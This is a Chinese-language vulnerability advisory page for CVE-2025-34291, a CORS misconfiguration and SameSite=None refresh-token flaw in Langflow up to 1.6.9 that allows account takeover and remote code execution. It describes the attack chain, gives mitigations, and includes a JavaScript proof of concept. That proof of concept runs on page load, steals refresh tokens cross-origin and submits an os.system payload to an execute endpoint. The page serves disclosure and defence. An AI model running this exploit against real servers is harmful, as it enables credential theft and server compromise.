IPBUF安全漏洞报告
English
CVE-2025-34291 CVSS 8.8 高危

CVE-2025-34291 Langflow CORS配置错误导致账户接管和RCE

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34291
漏洞类型
CORS配置错误,账户接管,远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

CVE-2025-34291LangflowCORS配置错误账户接管远程代码执行认证绕过SameSite Cookie令牌窃取链式漏洞高危漏洞

漏洞概述

Langflow 1.6.9及之前版本存在严重的链式漏洞,攻击者可通过CORS配置错误结合refresh token机制缺陷实现账户接管和远程代码执行。该漏洞由两个安全缺陷组成:首先,Langflow配置了过度宽松的CORS策略(allow_origins='*'且allow_credentials=True),允许来自任意源的跨域请求携带用户凭证;其次,refresh token cookie被设置为SameSite=None,使得攻击者控制的网站能够向Langflow服务器发起跨域请求并成功获取新的access_token和refresh_token对。利用获取的认证令牌,攻击者可访问受保护的API端点,包括内置的代码执行功能,从而在服务器上执行任意代码,最终实现完全的系统控制。

技术细节

漏洞核心在于CORS配置与认证机制的不安全组合。攻击过程如下:1) 受害者登录Langflow后,服务器返回包含refresh_token的cookie,该cookie的SameSite属性被设置为None,同时CORS策略允许任意来源的请求(Access-Control-Allow-Origin: *)且支持credentials(Access-Control-Allow-Credentials: true)。2) 攻击者构造恶意网页,诱导受害者访问。3) 恶意页面通过fetch或XMLHttpRequest向Langflow的/token/refresh端点发起跨域POST请求,由于CORS配置允许且cookie配置为SameSite=None,浏览器会自动携带受害者的refresh_token cookie。4) 服务器验证refresh_token后返回新的access_token和refresh_token。5) 攻击者通过JavaScript获取响应中的令牌。6) 利用获取的access_token,攻击者调用Langflow的API端点(如/components/load_functions或通过API触发代码执行功能)。7) 代码执行功能允许在服务器端执行Python代码,攻击者借此执行任意系统命令,实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Langflow服务器,分析其CORS配置(检查Access-Control-Allow-Origin和Access-Control-Allow-Credentials响应头)以及refresh token端点的存在
STEP 2
步骤2: 构造恶意页面
攻击者创建包含恶意JavaScript代码的网页,该代码会向Langflow的/token/refresh端点发起跨域POST请求,并配置credentials: 'include'以携带cookie
STEP 3
步骤3: 诱导受害者访问
通过钓鱼邮件、社交工程或其他方式诱导已登录Langflow的受害者访问攻击者控制的恶意网页
STEP 4
步骤4: 跨域令牌窃取
受害者浏览器加载恶意页面后,JavaScript自动向Langflow服务器发起请求。由于CORS配置允许任意来源且refresh_token cookie的SameSite=None,浏览器成功携带cookie并获取新的access_token和refresh_token
STEP 5
步骤5: 提取认证令牌
恶意JavaScript从响应中提取access_token和refresh_token,可通过document.cookie、localStorage或响应体获取
STEP 6
步骤6: 认证端点访问
使用窃取的access_token,攻击者可以调用Langflow的认证API端点,包括用户信息查询、流程管理等功能
STEP 7
步骤7: 代码执行
通过API调用Langflow的代码执行功能(如load_functions或直接执行端点),注入恶意Python代码
STEP 8
步骤8: 系统控制
成功执行任意代码后,攻击者可在服务器上执行系统命令、安装后门、窃取数据或横向移动,实现完全系统控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-34291 PoC - Account Takeover via CORS Misconfiguration // Target: Langflow <= 1.6.9 const TARGET_URL = 'https://target-langflow-server.com'; async function exploitCORS() { console.log('[+] Starting CVE-2025-34291 exploitation...'); // Step 1: Attempt to refresh token via cross-origin request const refreshEndpoint = `${TARGET_URL}/api/v1/auth/refresh`; try { const response = await fetch(refreshEndpoint, { method: 'POST', mode: 'cors', credentials: 'include', headers: { 'Content-Type': 'application/json' } }); if (response.ok) { const tokens = await response.json(); console.log('[+] Successfully obtained tokens:', tokens); // Step 2: Use access_token to access authenticated endpoints const accessToken = tokens.access_token; // Step 3: Execute arbitrary code via Langflow API const codeExecPayload = { 'flow_id': 'malicious_flow', 'code': 'import os; os.system("whoami > /tmp/pwned")', 'language': 'python' }; const execResponse = await fetch(`${TARGET_URL}/api/v1/execute`, { method: 'POST', mode: 'cors', credentials: 'include', headers: { 'Authorization': `Bearer ${accessToken}`, 'Content-Type': 'application/json' }, body: JSON.stringify(codeExecPayload) }); console.log('[+] Code execution response:', await execResponse.json()); } } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Trigger exploitation when page loads window.onload = exploitCORS;

影响范围

Langflow <= 1.6.9

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 通过反向代理或防火墙限制对/token/refresh端点的访问,仅允许来自受信任IP的请求;2) 临时禁用CORS功能或将其配置为仅允许特定域名;3) 修改refresh_token的cookie设置,将SameSite设置为Strict;4) 监控认证日志,查找异常的跨域请求模式;5) 考虑暂时限制Langflow的代码执行功能;6) 对管理接口实施额外的网络隔离和访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表